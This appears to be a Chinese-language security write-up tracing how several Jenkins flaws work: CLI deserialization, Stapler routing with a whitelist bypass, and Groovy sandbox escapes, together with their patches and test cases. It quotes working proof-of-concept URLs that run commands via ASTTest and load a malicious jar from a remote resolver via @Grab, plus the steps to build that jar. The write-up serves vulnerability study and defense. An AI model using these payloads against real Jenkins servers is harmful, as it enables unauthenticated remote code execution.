之前针对Jenkins没注意看过,看到廖师傅kcon会议上讲的Java沙箱逃逸就涉及到了Jenkins,包括今年开年时候orange发的Jenkins的组合拳,拖拖拉拉到了年底还没看,所以准备开始看。
这里根据Jenkins的漏洞触发点做了一个归类,一种是通过cli的方式触发,一种是通过我们常见的http方式触发。
在catalina.sh添加,或者catalina.bat内容不动用如下命令开启,默认是开启8000端口 用如下命令开启 catalina.bat jpda start(Windows) catalina.sh jpda start(linux)
最早开始公开Java 反序列化的时候,何使用 Apache Commons Collections 这个常用库来构造 POP 链(类ROP链),这个在Jenkins上的例子就是这个编号,但是网上对于这个调用链的过程都没有进行分析,所以这里分析一下。
先看看之前那些exp的脚本,这里可以看到漏洞触发已经是和Jenkins的cli有关系,且这里走tcp socket通信的。
response = requests.get(jenkins_web_url, headers=i_headers) cli_port = int(response.headers['X-Jenkins-CLI-Port']) print('[+] Found CLI listener port: "%s"' % cli_port) sock_fd = socket.socket(socket.AF_INET, socket.SOCK_STREAM) host = urlparse.urlparse(jenkins_web_url).netloc try: host, port = host.split(':') except: host = host cli_listener = (socket.gethostbyname(host), cli_port) print('[+] Connecting CLI listener %s:%s' % cli_listener) sock_fd.connect(cli_listener)
跟进一下看看。
Jenkins cli的入口在这 hudson.TcpSlaveAgentListener#ConnectionHandler ,这个run构造方法,我们看到调用了p.handle方法。
handle也是一个抽象方法,这里根据前面的Protocol选择相关协议,这里的协议有两个一个是Cli,另一个是 JnlpSlaveAgent 。我们关注的其实是Cli这个东西。
跟进 hudson.cli.CliProtocol#handle ,这里实例化 CliProtocol.Handler 来处理,并且调用其中的run构造方法
public void handle(Socket socket) throws IOException, InterruptedException { (new CliProtocol.Handler(this.nio.getHub(), socket)).run(); }
继续 hudson.cli.CliProtocol$Handler.run ,这里调用 runcli 针对socket连接进行处理。
继续跟进 hudson.cli.CliProtocol$Handler.runCli ,这的关键是下图标红色的地方。
这里调用 hudson.remoting.ChannelBuilder#build 来处理传入的buffer缓冲区的数据,跟进这个看看。
public Channel build(InputStream is, OutputStream os) throws IOException { return new Channel(this, this.negotiate(is, os)); }
这里主要是调用 this.negotiate 来处理is和os,而is和os分别使我们缓冲区的输入和输出,跟进一下 hudson.remoting.ChannelBuilder.negotiate
negotiate会检查所有发往Jenkins CLI的命令中都包含某种格式的前导码(preamble),前导码格式通常为: <===[JENKINS REMOTING CAPACITY]===>rO0ABXNyABpodWRzb24ucmVtb3RpbmcuQ2FwYWJpbGl0eQAAAAAAAAABAgABSgAEbWFza3hwAAAAAAAAAH4= , 该前导码包含一个经过base64编码的序列化对象,我们抓个包看到这个前导码,也看到发序列化头部base64编码之后的关键字 rO0A 。
然后继续循环往下走,调用 Capability.read 处理buffer中的内容。
跟进 hudson.remoting.Capability#read ,标准的反序列化的输入点了,之后就是调用 Commons Collections 执行反序列化下一步的命令执行操作了。
hudson.remoting.ClassFilter#check会检查是否在黑名单中。
目前默认的黑名单如下所示
private static final String[] DEFAULT_PATTERNS = new String[]{ "^bsh[.].*", "^com[.]google[.]inject[.].*", "^com[.]mchange[.]v2[.]c3p0[.].*", "^com[.]sun[.]jndi[.].*", "^com[.]sun[.]corba[.].*", "^com[.]sun[.]javafx[.].*", "^com[.]sun[.]org[.]apache[.]regex[.]internal[.].*", "^java[.]awt[.].*", "^java[.]rmi[.].*", "^javax[.]management[.].*", "^javax[.]naming[.].*", "^javax[.]script[.].*", "^javax[.]swing[.].*", "^org[.]apache[.]commons[.]beanutils[.].*", "^org[.]apache[.]commons[.]collections[.]functors[.].*", "^org[.]apache[.]myfaces[.].*", "^org[.]apache[.]wicket[.].*", ".*org[.]apache[.]xalan.*", "^org[.]codehaus[.]groovy[.]runtime[.].*", "^org[.]hibernate[.].*", "^org[.]python[.].*", "^org[.]springframework[.](?!(//p{Alnum}+[.])*//p{Alnum}*Exception$).*", "^sun[.]rmi[.].*", "^javax[.]imageio[.].*", "^java[.]util[.]ServiceLoader$", "^java[.]net[.]URLClassLoader$"};
所以从上面这段引用可以看到,漏洞触发还是和cli有关系,我们来详细看看,首先入口在 hudson.cli.CLIAction 中,代码根据HTTP头部中的 side 的值来区分是 download 还是 upload 操作,然后根据http头部中 session 里面的 uuid 的值来区分不同的会话通道。
先跟进看一下 download 操作,位置在 hudson.model.FullDuplexHttpChannel#download ,下图中已经将重要部分代码标红了,如果没有接收到 upload 请求,那么这时候 download 操作就会阻塞等待,直到upload操作过来,然后建立新的 channel 对象,来处理 upload 接收到的请求和响应。
所以这里就要跟进Channel,前面我们说过针对cli方式触发的时候,会调用 negotiate 来检查格式是否正确,所以这里进入构造方法,实际上是下图中的代码。
Channel(ChannelBuilder settings, InputStream is, OutputStream os) throws IOException { this(settings, settings.negotiate(is, os)); }
跟进 hudson.remoting.ChannelBuilder#negotiate ,这里会调用 makeTransport 方法。
跟进 makeTransport 方法,位置在 hudson.remoting.ChannelBuilder#makeTransport ,这个方法会根据cap是否支持Chunking来返回不同的对象,分别是 ChunkedCommandTransport 和 ClassicCommandTransport 。
然后又进去 hudson.remoting.Channel 中的下图代码进行操作,这里红框圈出部分关键代码。这里会调用 transport.setup 处理对象 CommandReceiver 。
而setup也是一个抽象类,会调用 hudson.remoting.SynchronousCommandTransport#setup 这个回启东一个 ReaderThread 线程来处理传入的 CommandReceiver 对象。
public void setup(Channel channel, CommandReceiver receiver) { this.channel = channel; (new SynchronousCommandTransport.ReaderThread(receiver)).start(); }
跟进 hudson.remoting.SynchronousCommandTransport#ReaderThread ,这个方法会调用 SynchronousCommandTransport.this.read
而这里的read是个抽象类,目前这个流程中,他的实现方法在 hudson.remoting.ClassicCommandTransport 中。
public final Command read() throws IOException, ClassNotFoundException { try { Command cmd = Command.readFrom(this.channel, this.ois); if (this.rawIn != null) { this.rawIn.clear(); } return cmd; } catch (RuntimeException var2) { throw this.diagnoseStreamCorruption(var2); } catch (StreamCorruptedException var3) { throw this.diagnoseStreamCorruption(var3); } }
那么再跟进 hudson.remoting.Command#readFrom 就找到反序列化的触发点了。
补丁地址
我们可以看到本次修复,实际上引入了 CVE-2015-8103 的黑名单,并且将 java.security.SignedObject 本次的反序列化绕过方法加入这个黑名单中。
首先 Jenkins 会将所有请求交给 org.kohsuke.stapler.Stapler
来进行处理。
<servlet> <servlet-name>Stapler</servlet-name> <servlet-class>org.kohsuke.stapler.Stapler</servlet-class> <init-param> <param-name>default-encodings</param-name> <param-value>text/html=UTF-8</param-value> </init-param> <init-param> <param-name>diagnosticThreadName</param-name> <param-value>false</param-value> </init-param> <async-supported>true</async-supported> </servlet>
跟进 org.kohsuke.stapler.Stapler
这个类中,简单缩减一下代码,如下所示:
protected @Override void service(HttpServletRequest req, HttpServletResponse rsp) throws ServletException, IOException { Thread t = Thread.currentThread(); final String oldName = t.getName(); ... if (servletPath.startsWith(BoundObjectTable.PREFIX)) { // serving exported objects invoke( req, rsp, webApp.boundObjectTable, servletPath.substring(BoundObjectTable.PREFIX.length())); return; } ... Object root = webApp.getApp(); if(root==null) throw new ServletException("there's no /"app/" attribute in the application context."); // consider reusing this ArrayList. invoke( req, rsp, root, servletPath); } finally { t.setName(oldName); } }
其中 PREFIX 的值是 /$stapler/bound/
。
public static final String PREFIX = "/$stapler/bound/";
也就是说在这里Jenkins会根据用户传入的URL不同,来调用不同的 webapp ,这里的invoke方法中有4个参数,它们分别是:
如果url以 /$stapler/bound/
开开头,那么它对应的root节点对象是: webApp.boundObjectTable(org.kohsuke.stapler.bind.BoundObjectTable)
,而这个root对象实际上如果不是动态调试静态看代码我是看不出来,所以我在这里下个断点,我可以看到这个root节点对象对应的类是 hudson.model.Hudson ,而这个类正是继承了 jenkins.model.Jenkins 。
继续向下跟进,跟进我们刚刚invoke方法,这个方法位置在 org.kohsuke.stapler.Stapler#invoke 。这个方法又调用了 invoke 来处理。
继续跟进,我们可以看到这里调用了 org.kohsuke.stapler.Stapler#tryInvoke 来进行处理。
详细跟进一下 org.kohsuke.stapler.Stapler#tryInvoke 这个方法,我截取部分代码如下:
boolean tryInvoke(RequestImpl req, ResponseImpl rsp, Object node ) throws IOException, ServletException { if(traceable()) traceEval(req,rsp,node); if(node instanceof StaplerProxy) { ... } if (node instanceof StaplerOverridable) { ... } if(node instanceof StaplerFallback) { ... }
这里有三个根据不同的node节点进行相应操作 instanceof
,从代码中来看顺序应该是从上到下分别是:
而Jenkins这部分 Routing Requests 其实在文档中也写了:
所以说文档中的描述和代码中看到的是一致的,所以 tryInvoke 这个方法实际上做哦那个就是完成路由的分发,路由的绑定操作等。我们可以看看当我们传入 /aa/bb/cc
的时候,路由是如何选择。
当我们传入 /aa/bb/cc
的时候,对应的root根对象是 hudson.model.Hudson
,所以这里向根据这个node获取一个 metaClass 对象,然后轮询 MetaClass 中的 metaClass.dispatchers 。
但是这里具体如何操作还是有点懵逼,这里还是慢慢的跟一下,用 @orange 文章的白名单路由来做个文章,后面也会详细分析,路由为 /securityRealm/user/test/
,跟进 org.kohsuke.stapler.WebApp#getMetaClass
。
public MetaClass getMetaClass(Object o) { return getMetaClass(getKlass(o)); }
在这里面又调用了 getKlass 和 getMetaClass ,先看看 getKlass ,这里最后的return操作实例化相关类对象,这里对应的自然是我们前面路由分析的时候,如果url不是以 /$stapler/bound/
开头,对应的对象自然是 hudson.model.Hudson** 。
public Klass<?> getKlass(Object o) { ... return Klass.java(o.getClass()); }
我们再看看 getMetaClass ,在 getMetaClass 中首先获取传入的类对象,然后实例化 MetaClass 针对传入的对象进行处理。
跟进 MetaClass ,来详细看看,我们可以看到这就是通过我们刚刚实例化的Klass类,然后根据这个类获取相应信息,最后使用 buildDispatchers
/*package*/ MetaClass(WebApp webApp, Klass<?> klass) { this.clazz = klass.toJavaClass(); this.klass = klass; this.webApp = webApp; this.baseClass = webApp.getMetaClass(klass.getSuperClass()); this.classLoader = MetaClassLoader.get(clazz.getClassLoader()); buildDispatchers(); }
跟进 org.kohsuke.stapler.MetaClass.buildDispatchers ,其实从注释里面就知道这个方法干啥的了。
简单翻译一下这个是处理路由调度的核心,他通过反射使用相关的类,并且确认由谁处理这个URL,这部分代码很长,而且也能看得出来Jenkins给了用户足够多的自由度,但有时候其实就是给你的自由过了火导致的问题,从代中把这些全部梳理了出来:
<obj>.do<token>(...) and other WebMethods:do(...)或者@WebMethods标注 <obj>.doIndex(...):doIndex(...) <obj>js<token>:js(...) method with @JavaScriptMethod:@JavaScriptMethod标注 NODE.TOKEN NODE.getTOKEN():get() NODE.getTOKEN(StaplerRequest):get(StaplerRequest) <obj>.get<Token>(String):get(String) <obj>.get<Token>(int):get(int) <obj>.get<Token>(long):get(long) <obj>.getDynamic(<token>,...):ggetDynamic(...) <obj>.doDynamic(...):doDynamic(...)
随便找个例子,在处理node时候会先实例化 NameBasedDispatcher ,然后把这个加到 dispatchers 中,然后使用 doDispatch 处理传过来的请求,最后通过invoke反射的方式调用相关类。
所以我们回忆一下 /securityRealm/user/test/
的解析过程,在 org.kohsuke.stapler.Stapler 中这里的 d.dispatch 会处理传入的请求。
try { for( Dispatcher d : metaClass.dispatchers ) { if(d.dispatch(req,rsp,node)) {
这里的 dispathch 是一个抽象类,他的实现方法有下图中那么多,我们看到 NameBasedDispatcher 是不是有点眼熟。
跟进 org.kohsuke.stapler.NameBasedDispatcher#dispathch 这里有个 doDispatch ,实际上这个也是个抽象类,主要实现还是在 MetaClass 中的 buildDispatchers ,前面我们也了解过了 buildDispatchers 这个方法会根据node节点的不同选择不同的方法去实现。
这里简单画个代码流程图吧。
所以可以看到最后在 org.kohsuke.stapler.MetaClass 已经成功解析了我们传入的第一个node节点 securityRealm
紧接着解析第二个node节点时候,首先跟进这个getStapler返回的是当前stapler对象。
public Stapler getStapler() { return stapler; }
这里的ff是一个 org.kohsuke.stapler.Function
对象,它保存了当前根节点中方法的各种信息。
ff.invoke处理之后会返回 Hudson.security.HudsonPrivateSecurityRealm
,然后又会把这个东西带入到tryInvoke中进行第二次解析,就是这样循环下去。
现在再回头过看,我们之前用到一个payload: /securityRealm/user/test/
,这个payload中的 securityRealm 是Jenkins的一个路由白名单,白名单是个什么情况呢,我们来看看。
首先前面提到过 tryInvoke 的时候,会进行三个优先级不同操作:
根据优先级,首先进行的是 StaplerProxy ,我们详细看看这个,这个做了一个try的操作,跟进一下 getTarget() 方法。
而getTarget()的实现主要在这几个地方出现过。
在Jenkins中,入口是 jenkins.model.Jenkins
,所以跟进看看 jenkins.model.Jenkins#getTarget
首先checkPermission会进行权限进行检查,检查是否有读的权限,如果没有会抛出异常,而在异常里有一个 isSubjectToMandatoryReadPermissionCheck
对路径进行二次检测,如果这个检测没通过就退出,否则正常返回。继续跟进 jenkins.model.Jenkins#isSubjectToMandatoryReadPermissionCheck ,这里有个常量的白名单判断。
看看这个白名单的值,所以很明显了,如果请求的路径在这个白名单里面,那么就可以绕过权限校验。
ALWAYS_READABLE_PATHS = ImmutableSet.of("/login", "/logout", "/accessDenied", "/adjuncts/", "/error", "/oops", new String[]{"/signup", "/tcpSlaveAgentListener", "/federatedLoginService/", "/securityRealm", "/instance-identity"});
@orange博客里面提到了这个,首先提到了几个事情:
1.在 Java 中, 所有的物件皆繼承 java.lang.Object 這個類別, 因此所有在 Java 中的物件皆存在著 getClass()
這個方法。
2.恰巧這個方法又符合动态路由调用 get<token>(...)
的命名規則, 因此 getClass()
可在 Jenkins 調用鏈中被動態呼叫
3.入口检查的白名单绕过
@orange举了一个例子
http://jenkin.local/adjuncts/whatever/class/classLoader/resource/index.jsp/content
会从上倒下依次执行
jenkins.model.Jenkins.getAdjuncts("whatever") .getClass() .getClassLoader() .getResource("index.jsp") .getContent()
从这个例子中我们看到如果是 xx.com/adjuncts/aa/bb/cc
,那么jenkins就会去寻找getAa、getBb等相关get方法,也就是说在这里我们可以任意操作GETTER方法。
回到最早的用来测试路由 /securityRealm/user/test
,我们也很清楚的看到这里去寻找 jenkins.model.Jenkins.getsecurityRealm()
。
再回到orange给的这个路由 /securityRealm/user/test
,跟进去,这个我们之前聊过,根据这个路由解析过程应该是分别是 getsecurityRealm 和 getUser ,当解析 getUser 的时候来到的是 hudson.security.HudsonPrivateSecurityRealm.getUser 中。
跟进 hudson.security.HudsonPrivateSecurityRealm.getUser ,这里实际上和我们的url一致了,上图中的url实际上是user/test,这里根据传入的下一节点名当做 id,然后生成一个 User 出来,所以这里将test传入 getUser 构造方法中,并调用 hudson.model.User 进行处理,最后生成一个User出来,但是测试发现如果没有用户一样能够生成,具体原因没有去深究。
这里看看User的继承关系,这里有个 hudson.model.DescriptorByNameOwner#getDescriptorByName
。
实际上是User中写了一个 getDescriptorByName 方法,是来自 hudson.model.DescriptorByNameOwner#getDescriptorByName
这个接口。
public Descriptor getDescriptorByName(String className) { return Jenkins.getInstance().getDescriptorByName(className); }
而这个方法中的实际上就是调用了 Jenkins.getInstance().getDescriptorByName ,跟进 jenkins.model.Jenkins#getDescriptorByName ,调用了 jenkins.model.Jenkins#getDescriptor
public Descriptor getDescriptorByName(String id) { return this.getDescriptor(id); }
跟进 jenkins.model.Jenkins#getDescriptor ,这里根据 id(string) 来获取所有继承了 Descriptor 的子类
也就是说实际上我们通过构造 /securityRealm/user/DescriptorByName/xxx
就可以使用了继承了 Descriptor 这个的子类。
利用链:
我们从登陆限制的情况下,利用这个方法可以绕过限制,从而达到未授权访问某些功能的目的。
和 Script Security Plugin 相关的沙盒bypass在这里
从官方通告来看,更新了一个 groovy 沙盒绕过的问题。
可以看看orange给出的两个poc
http://localhost:8080/securityRealm/user/test/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=import+groovy.transform.*%0a %40ASTTest(value%3d%7bassert+java.lang.Runtime.getRuntime().exec(%22open+%2fApplications%2fCalculator.app%22)%7d)%0a class+Person%7b%7d
http://localhost:8080/securityRealm/user/test/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=@GrabConfig(disableChecksums=true)%0a @GrabResolver(name='Exp', root='http://127.0.0.1:9999/')%0a @Grab(group='demo_server.exp', module='poc', version='2')%0a import Exp;
分别开看看,可恶意看到的触发的类都是 org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript
,跟进来看。
DescriptorImpl方法继承了 Descriptor ,且在 doCheckScript 里面,实例化了 GroovyShell 对象,并且输出,根据前面的分析 doCheckScript 可控。
这个和PHP的assert有点像。
Grape
是groovy内置的依赖管理引擎,而且在 官方文档 中,我们发现它可以将root地址自行指定,从而引入恶意类。
javac Exp.java mkdir -p META-INF/services/ echo Exp > META-INF/services/org.codehaus.groovy.plugins.Runners jar cvf poc-2.jar Exp.class META-INF mkdir -p ./demo_server/exp/poc/2/ mv poc-2.jar demo_server/exp/poc/2/
地址
private static final List<Class<? extends Annotation>> BLOCKED_TRANSFORMS = ImmutableList.of(ASTTest.class, Grab.class);
commit地址
官方测试案例:
补丁:
commit地址
@Grapes([@Grab(group='foo', module='bar', version='1.0')])/ndef foo/n @GrabConfig(autoDownload=false)/ndef foo/n @GrabExclude(group='org.mortbay.jetty', module='jetty-util')/ndef foo/n
@GrabResolver(name='restlet.org', root='http://maven.restlet.org')/ndef foo/n
"import groovy.transform.ASTTest as lolwut/n" + "import jenkins.model.Jenkins/n" + "import hudson.model.FreeStyleProject/n" + "@lolwut(value={ assert Jenkins.getInstance().createProject(FreeStyleProject.class, /"should-not-exist/") })/n" + "int x/n" + "echo 'hello'/n", false
"import groovy.transform.*/n" + "import jenkins.model.Jenkins/n" + "import hudson.model.FreeStyleProject/n" + "@groovy.transform.ASTTest(value={ assert Jenkins.getInstance().createProject(FreeStyleProject.class, /"should-not-exist/") })/n" + "@Field int x/n" + "echo 'hello'/n", false
import groovy.transform.*/n" + "import jenkins.model.Jenkins/n" + "import hudson.model.FreeStyleProject/n" + "@AnnotationCollector([ASTTest]) @interface Lol {}/n" + "@Lol(value={ assert Jenkins.getInstance().createProject(FreeStyleProject.class, /"should-not-exist/") })/n" + "@Field int x/n" + "echo 'hello'/n", false
还是1266修复时候那个方法,增强了黑名单。
BLOCKED_TRANSFORMS = ImmutableList.of(ASTTest.class.getCanonicalName(), Grab.class.getCanonicalName(), GrabConfig.class.getCanonicalName(), GrabExclude.class.getCanonicalName(), GrabResolver.class.getCanonicalName(), Grapes.class.getCanonicalName(), AnnotationCollector.class.getCanonicalName());
commit地址
assertRejected(new StaticWhitelist("staticMethod java.util.Locale getDefault"), "method java.util.Locale getCountry", "interface I {String getCountry()}; (Locale.getDefault() as I).getCountry()"); assertRejected(new StaticWhitelist("staticMethod java.util.Locale getDefault"), "method java.util.Locale getCountry", "interface I {String getCountry()}; (Locale.getDefault() as I).country"); assertRejected(new ProxyWhitelist(), "staticMethod java.util.Locale getAvailableLocales", "interface I {Locale[] getAvailableLocales()}; (Locale as I).getAvailableLocales()"); assertRejected(new ProxyWhitelist(), "staticMethod java.util.Locale getAvailableLocales", "interface I {Locale[] getAvailableLocales()}; (Locale as I).availableLocales"); assertEvaluate(new StaticWhitelist("staticMethod java.lang.Math max int int"), 3.0d, "(double) Math.max(2, 3)"); assertEvaluate(new StaticWhitelist("staticMethod java.lang.Math max int int"), 3.0d, "Math.max(2, 3) as double"); assertEvaluate(new StaticWhitelist("staticMethod java.lang.Math max int int"), 3.0d, "double x = Math.max(2, 3); x"); assertRejected(new GenericWhitelist(), "staticMethod org.codehaus.groovy.runtime.ScriptBytecodeAdapter asType java.lang.Object java.lang.Class", "def f = org.codehaus.groovy.runtime.ScriptBytecodeAdapter.asType(['/tmp'], File); echo(/$f/)"); assertRejected(new GenericWhitelist(), "staticMethod org.codehaus.groovy.runtime.ScriptBytecodeAdapter castToType java.lang.Object java.lang.Class", "def f = org.codehaus.groovy.runtime.ScriptBytecodeAdapter.castToType(['/tmp'], File); echo(/$f/)"); assertRejected(new GenericWhitelist(), "new java.io.File java.lang.String", "def f = org.kohsuke.groovy.sandbox.impl.Checker.checkedCast(File, ['/tmp'], true, false, false); echo(/$f/)");
在执行的时候只执行白名单,并且加强白名单和黑名单。
可以看到这种RCE的漏洞,Jenkins从目前修复来看,基本上都是白名单、黑名单或者黑名单+白名单的方式,来解决问题。